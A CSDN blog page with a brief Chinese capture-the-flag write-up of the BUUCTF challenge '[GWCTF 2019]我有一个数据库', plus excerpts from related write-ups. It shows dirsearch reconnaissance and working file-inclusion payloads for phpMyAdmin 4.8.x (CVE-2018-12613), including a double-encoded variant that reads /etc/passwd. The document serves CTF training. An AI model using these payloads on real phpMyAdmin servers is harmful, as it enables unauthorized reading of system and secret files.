[GWCTF 2019]我有一个数据库 1

最新推荐文章于 2023-12-11 10:04:44 发布
最新推荐文章于 2023-12-11 10:04:44 发布
阅读量668 收藏 1
点赞数
文章标签： php 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43618536/article/details/125917957
版权

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

[GWCTF 2019]我有一个数据库 1

题目

BUUCTF的[GWCTF 2019]我有一个数据库 1
在这里插入图片描述

一、扫描网站目录

使用扫描工具

python dirsearch.py -u http://377aa9cc-77c3-4f36-ac51-ec159fc347ae.node4.buuoj.cn:81/ -e *

在这里插入图片描述在这里插入图片描述

二、查看robots文件

1.查看robots.txt
在这里插入图片描述
2.访问phpinfo.php
在这里插入图片描述
没有发现flag

三、查看数据库

phpmyadmin 数据库

在这里插入图片描述该版本存在框架代码漏洞，可以利用（百度）

四、构造payload

phpmyadmin/index.php?target=db_datadict.php?../../../../../../../../flag
林本
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BUU刷题--[GWCTF 2019]我有一个数据库
weixin_48631429的博客
12-02 553
我有一个数据库 打开看到这样一堆文字，读不懂，也没有其他的信息。 怎么想也想不到该怎么做，buu还不能扫描。所以只能看了wp，看到有一个/phpmyadmin，回来开始想怎么做 phpmyadmin版本信息4.8.1，搜索一下有什么漏洞。 任意文件包含：那么我们就可以利用来读flag ?target=db_datadict.php%253f/../../../../../../../../../flag 拿到flag 考点就是CVE-2018-12613 ...
[GWCTF 2019]我有一个数据库(文件包含漏洞)
weixin_44110537的博客
10-03 407
一堆乱码,什么都没有. 查看源代码也没有什么隐藏信息. 于是dirsearch扫描一下,发现 有个数据库登入页面. 发现不用登录直接就可以进去了. 但是发现这里面什么都没有. cve-2018-12613-PhpMyadmin后台文件包含 这个漏洞出现在index.php中的 // If we have a valid target, let's load that script instead if (! empty($_REQUEST['target']) && is_st.
[GWCTF 2019]我有一个数据库1
最新发布
whale_waves的博客
12-11 423
#我的上一篇博客附上了dirsearch的下载地址以及简单用法。这里扫出来了phpmyadmin/index.php。这里能看到phpmyadmin的版本信息。直接把phpinfo.php放出来了。然而这道题是想让我们通过版本漏洞做题。这里看起来不像是加密应该是编码错误。这里访问robots.txt。用dirsearch扫了一遍。这里我附上版本漏洞复现的博客。其实遇到这种的页面要做的事。这里能看到它所有的信息。这里并没有能找到可控点。
[GWCTF 2019]我有一个数据库(CVE-2018-12613)
记录学习，一起进步
01-29 272
[GWCTF 2019]我有一个数据库(CVE-2018-12613)
[GWCTF 2019]我有一个数据库1--writeup
m0_65080524的博客
08-14 78
这里这么多../ 其实目的是为了回退到根目录，然后访问flag 至于为什么知道flag在根目录，我也不太清楚，反正ctf就是要积极尝试，总而言之就是经验告诉我，flag就在这。，于是 扫到了phpmyadmin/以及phpinfo.php 打开phpinfo看完并没有什么发现于是打开phpmyadmin。可以注意到 phpMyAdmin版本号是4.8.1 而恰好这个版本存在着一个文件包含漏洞（题目打开是这样的，毫无提示于是还是按照正常的流程 先。
DES加密、DES解密、AES加密、AES解密
06-26
个人例子，VS2013，DES加密、DES解密,AES加密，AES解密，
el函数的使用文档
07-09
该文档主要包括一些el函数的简单使用说明.
[GWCTF 2019]我有一个数据库
Yb_140的博客
10-12 548
进行两次编码，两次编码的值就是%253f，第一次url解码是由服务器自动解码的，然后经过urldecode之后变为？截取前面的值，所以前面我们传入一个在白名单里的值。4.不能在 $target_blacklist数组里面(即不能为import.php,export.php)经过 urldecode 函数解码后的 $_page 存在在 $whitelist 中返回 true。如果 $_page 存在在 $whitelist 中返回 true；$page 如果存在在 $whitelist 中返回 true；
BUUCTF Web [GWCTF 2019]我有一个数据库1 & [BJDCTF2020]Mark loves cat1
网安小趴菜
09-20 611
BUUCTF Web [GWCTF 2019]我有一个数据库1 & [BJDCTF2020]Mark loves cat1
re学习笔记（39）BUUCTF-re-[GWCTF 2019]xxor
逆向随笔
02-20 1656
新手一枚，如有错误（不足）请指正，谢谢！！ 个人博客：点击进入 题目链接：[GWCTF 2019]xxor xorm[0] = 3746099070, xorm[1] = 550153460, xorm[2] = 3774025685, xorm[3] = 1548802262, xorm[4] = 2652626477, xorm[5] = 2230518816 ...
BUUCTF_Web_[GWCTF 2019]我有一个数据库
阿刁〇的博客
08-22 521
BUUCTF_Web_[GWCTF 2019]我有一个数据库 该题考查cve-2018-12613-PhpMyadmin后台文件包含漏洞* 漏洞分析 phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径，尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行，但是您可以在
[GWCTF 2019]我有一个数据库 WP
weixin_52599204的博客
08-05 891
提示我有一个数据库，但里面什么都没有，于是拿dirsearch跑了一下，没有出结果。那么思路肯定就是复现漏洞了，于是开始找。但是有数据库嘛，那么试试常见的几个加上。看到最多的是文件包含漏洞 编号。最后的payload。...
[GWCTF 2019] web题-我有一个数据库
BROTHERYY的博客
07-30 1766
复现环境：buuoj.cn 我是从题目猜到有phpmyadmin，直接就输入就进去了 看一下版本信息 phpmyadmin4.8.0-4.8.1存在文件包含漏洞 使用网上的payload直接打 ?target=db_datadict.php%253f/../../../../../../../../etc/passwd 能够执行，修改为flag flag{15aa1a13-8298-433c-8139-4ff6a0ffb5d6} ...
[GWCTF 2019]枯燥的抽奖 1
08-26
根据提供的源代码和引用的内容来看，[GWCTF 2019]枯燥的抽奖 1是一道PHP伪随机数的题目。该题目中使用了mt_rand()函数生成伪随机数，并通过种子来控制生成的序列。通过审计代码，我们可以看到check.php是存在的，...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值